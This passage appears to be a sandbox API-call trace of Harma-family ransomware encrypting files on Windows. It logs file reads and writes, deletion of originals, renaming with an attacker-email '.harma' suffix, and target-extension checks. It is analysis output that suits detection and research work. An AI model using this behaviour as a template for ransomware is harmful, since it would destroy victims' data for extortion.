hFile=0x1b8, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x7680, lpOverlapped=0x0) returned 1 [0172.292] WriteFile (in: hFile=0x380, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x7690, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x7690, lpOverlapped=0x0) returned 1 [0174.330] ReadFile (in: hFile=0x1b8, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.330] WriteFile (in: hFile=0x380, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0174.330] SetEndOfFile (hFile=0x380) returned 1 [0174.330] CloseHandle (hObject=0x380) returned 1 [0174.330] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.330] SetEndOfFile (hFile=0x1b8) returned 1 [0174.332] CloseHandle (hObject=0x1b8) returned 1 [0174.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0174.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf")) returned 1 [0174.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0174.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0174.334] lstrlenW (lpString=".doc") returned 4 [0174.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.334] lstrlenW (lpString=".docx") returned 5 [0174.334] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0174.334] lstrlenW (lpString=".pdf") returned 4 [0174.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.335] lstrlenW (lpString=".xls") returned 4 [0174.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.335] lstrlenW (lpString=".xlsx") returned 5 [0174.335] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0174.335] lstrlenW (lpString=".ppt") returned 4 [0174.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0174.335] lstrlenW (lpString=".zip") returned 4 [0174.335] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.335] lstrlenW (lpString=".rar") returned 4 [0174.335] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.335] lstrlenW (lpString=".bz2") returned 4 [0174.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.335] lstrlenW (lpString=".7z") returned 3 [0174.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0174.335] lstrlenW (lpString=".dbf") returned 4 [0174.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0174.335] lstrlenW (lpString=".1cd") returned 4 [0174.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0174.335] lstrlenW (lpString=".jpg") returned 4 [0174.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0174.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0174.335] lstrlenW (lpString=".doc") returned 4 [0174.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.335] lstrlenW (lpString=".docx") returned 5 [0174.336] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0174.336] lstrlenW (lpString=".pdf") returned 4 [0174.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.336] lstrlenW (lpString=".xls") returned 4 [0174.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.336] lstrlenW (lpString=".xlsx") returned 5 [0174.336] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0174.336] lstrlenW (lpString=".ppt") returned 4 [0174.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0174.336] lstrlenW (lpString=".zip") returned 4 [0174.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.336] lstrlenW (lpString=".rar") returned 4 [0174.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.336] lstrlenW (lpString=".bz2") returned 4 [0174.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.336] lstrlenW (lpString=".7z") returned 3 [0174.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0174.336] lstrlenW (lpString=".dbf") returned 4 [0174.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0174.336] lstrlenW (lpString=".1cd") returned 4 [0174.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0174.336] lstrlenW (lpString=".jpg") returned 4 [0174.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.337] lstrlenW (lpString=".id-") returned 4 [0174.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x351350 | out: hHeap=0x300000) returned 1 [0174.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3beef8 | out: hHeap=0x300000) returned 1 [0174.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39eed0 | out: hHeap=0x300000) returned 1 [0174.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aeed8 | out: hHeap=0x300000) returned 1 [0174.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3780020 | out: hHeap=0x300000) returned 1 [0174.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x351338 | out: hHeap=0x300000) returned 1 [0174.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351338 [0174.343] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351338, Size=0x20) returned 0x41d2290 [0174.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351338 [0174.343] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351338, Size=0x20) returned 0x41d21c8 [0174.343] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.343] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.343] Wow64DisableWow64FsRedirection (in: OldValue=0x2c3ff58 | out: OldValue=0x2c3ff58*=0x1) returned 1 [0174.343] lstrlenW (lpString="kernel32.dll") returned 12 [0174.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d21c8 | out: hHeap=0x300000) returned 1 [0174.343] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d2290 | out: hHeap=0x300000) returned 1 Thread: id = 54 os_tid = 0x6d8 [0132.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10000) returned 0x3c1e28 [0132.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10000) returned 0x3d1e30 [0132.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351458 [0132.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6) returned 0x3bef38 [0132.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351470 [0132.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x100000) returned 0x3890020 [0132.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351488 [0132.151] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351488, Size=0x20) returned 0x3c0d10 [0132.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351488 [0132.151] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351488, Size=0x20) returned 0x3c0d38 [0132.151] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0132.152] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0132.152] Wow64DisableWow64FsRedirection (in: OldValue=0x2d7ff58 | out: OldValue=0x2d7ff58*=0x0) returned 1 [0132.152] lstrlenW (lpString="kernel32.dll") returned 12 [0132.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0d10 | out: hHeap=0x300000) returned 1 [0132.152] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0132.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0d38 | out: hHeap=0x300000) returned 1 [0132.152] Sleep (dwMilliseconds=0x64) [0132.477] lstrcmpiW (lpString1=".LOG", lpString2=".harma") returned 1 [0132.477] lstrlenW (lpString="BCD.LOG") returned 7 [0132.477] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.477] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0132.477] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0132.477] lstrlenW (lpString=".doc") returned 4 [0132.477] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0132.477] lstrlenW (lpString=".docx") returned 5 [0132.477] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0132.477] lstrlenW (lpString=".pdf") returned 4 [0132.477] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0132.478] lstrlenW (lpString=".xls") returned 4 [0132.478] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0132.478] lstrlenW (lpString=".xlsx") returned 5 [0132.478] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0132.478] lstrlenW (lpString=".ppt") returned 4 [0132.478] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0132.478] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0132.478] lstrlenW (lpString=".zip") returned 4 [0132.478] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0132.478] lstrlenW (lpString=".rar") returned 4 [0132.478] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0132.478] lstrlenW (lpString=".bz2") returned 4 [0132.478] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0132.478] lstrlenW (lpString=".7z") returned 3 [0132.478] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0132.478] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0132.478] lstrlenW (lpString=".dbf") returned 4 [0132.478] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0132.478] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0132.478] lstrlenW (lpString=".1cd") returned 4 [0132.478] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0132.478] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0132.478] lstrlenW (lpString=".jpg") returned 4 [0132.478] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0132.478] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0132.478] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0132.478] lstrlenW (lpString=".doc") returned 4 [0132.478] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0132.478] lstrlenW (lpString=".docx") returned 5 [0132.478] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0132.478] lstrlenW (lpString=".pdf") returned 4 [0132.479] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0132.479] lstrlenW (lpString=".xls") returned 4 [0132.479] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0132.479] lstrlenW (lpString=".xlsx") returned 5 [0132.479] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0132.479] lstrlenW (lpString=".ppt") returned 4 [0132.479] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0132.479] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0132.479] lstrlenW (lpString=".zip") returned 4 [0132.479] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0132.479] lstrlenW (lpString=".rar") returned 4 [0132.479] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0132.479] lstrlenW (lpString=".bz2") returned 4 [0132.479] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0132.479] lstrlenW (lpString=".7z") returned 3 [0132.479] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0132.479] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0132.479] lstrlenW (lpString=".dbf") returned 4 [0132.479] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0132.479] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0132.479] lstrlenW (lpString=".1cd") returned 4 [0132.479] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0132.479] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0132.479] lstrlenW (lpString=".jpg") returned 4 [0132.479] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0132.479] Sleep (dwMilliseconds=0x64) [0132.713] Sleep (dwMilliseconds=0x64) [0132.926] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0132.926] lstrlenW (lpString="Content.xml") returned 11 [0132.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0133.019] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=27045) returned 1 [0133.019] CloseHandle (hObject=0x2ac) returned 1 [0133.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0133.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0133.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0133.020] lstrlenW (lpString=".doc") returned 4 [0133.020] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.020] lstrlenW (lpString=".docx") returned 5 [0133.020] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0133.020] lstrlenW (lpString=".pdf") returned 4 [0133.020] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.020] lstrlenW (lpString=".xls") returned 4 [0133.020] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.020] lstrlenW (lpString=".xlsx") returned 5 [0133.020] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0133.020] lstrlenW (lpString=".ppt") returned 4 [0133.020] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0133.020] lstrlenW (lpString=".zip") returned 4 [0133.020] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.020] lstrlenW (lpString=".rar") returned 4 [0133.020] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.020] lstrlenW (lpString=".bz2") returned 4 [0133.020] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.020] lstrlenW (lpString=".7z") returned 3 [0133.020] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0133.020] lstrlenW (lpString=".dbf") returned 4 [0133.020] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0133.020] lstrlenW (lpString=".1cd") returned 4 [0133.020] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0133.021] lstrlenW (lpString=".jpg") returned 4 [0133.021] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0133.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0133.021] lstrlenW (lpString=".doc") returned 4 [0133.021] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.021] lstrlenW (lpString=".docx") returned 5 [0133.021] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0133.021] lstrlenW (lpString=".pdf") returned 4 [0133.021] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.021] lstrlenW (lpString=".xls") returned 4 [0133.021] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.021] lstrlenW (lpString=".xlsx") returned 5 [0133.021] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0133.021] lstrlenW (lpString=".ppt") returned 4 [0133.021] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0133.021] lstrlenW (lpString=".zip") returned 4 [0133.021] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.021] lstrlenW (lpString=".rar") returned 4 [0133.021] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.021] lstrlenW (lpString=".bz2") returned 4 [0133.021] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.021] lstrlenW (lpString=".7z") returned 3 [0133.021] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0133.021] lstrlenW (lpString=".dbf") returned 4 [0133.021] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0133.021] lstrlenW (lpString=".1cd") returned 4 [0133.021] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0133.022] lstrlenW (lpString=".jpg") returned 4 [0133.022] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.022] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0133.022] lstrlenW (lpString="boxed-split.avi") returned 15 [0133.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0133.778] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=62976) returned 1 [0133.778] CloseHandle (hObject=0x320) returned 1 [0133.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0133.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0133.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0133.779] lstrlenW (lpString=".doc") returned 4 [0133.779] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0133.779] lstrlenW (lpString=".docx") returned 5 [0133.779] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0133.779] lstrlenW (lpString=".pdf") returned 4 [0133.779] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0133.779] lstrlenW (lpString=".xls") returned 4 [0133.779] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0133.779] lstrlenW (lpString=".xlsx") returned 5 [0133.779] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0133.779] lstrlenW (lpString=".ppt") returned 4 [0133.779] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0133.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0133.779] lstrlenW (lpString=".zip") returned 4 [0133.779] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0133.779] lstrlenW (lpString=".rar") returned 4 [0133.780] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0133.780] lstrlenW (lpString=".bz2") returned 4 [0133.780] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0133.780] lstrlenW (lpString=".7z") returned 3 [0133.780] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0133.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0133.780] lstrlenW (lpString=".dbf") returned 4 [0133.780] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0133.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0133.780] lstrlenW (lpString=".1cd") returned 4 [0133.780] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0133.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0133.780] lstrlenW (lpString=".jpg") returned 4 [0133.780] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0133.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0133.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0133.780] lstrlenW (lpString=".doc") returned 4 [0133.780] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0133.780] lstrlenW (lpString=".docx") returned 5 [0133.780] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0133.780] lstrlenW (lpString=".pdf") returned 4 [0133.780] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0133.780] lstrlenW (lpString=".xls") returned 4 [0133.780] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0133.780] lstrlenW (lpString=".xlsx") returned 5 [0133.780] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0133.781] lstrlenW (lpString=".ppt") returned 4 [0133.781] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0133.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0133.781] lstrlenW (lpString=".zip") returned 4 [0133.781] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0133.781] lstrlenW (lpString=".rar") returned 4 [0133.781] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0133.781] lstrlenW (lpString=".bz2") returned 4 [0133.781] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0133.781] lstrlenW (lpString=".7z") returned 3 [0133.781] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0133.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0133.781] lstrlenW (lpString=".dbf") returned 4 [0133.781] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0133.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0133.781] lstrlenW (lpString=".1cd") returned 4 [0133.781] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0133.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0133.781] lstrlenW (lpString=".jpg") returned 4 [0133.781] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0133.781] lstrcmpiW (lpString1=".dat", lpString2=".harma") returned -1 [0133.781] lstrlenW (lpString="hwrusalm.dat") returned 12 [0133.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0133.895] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3195696) returned 1 [0133.895] CloseHandle (hObject=0x324) returned 1 [0133.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0133.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 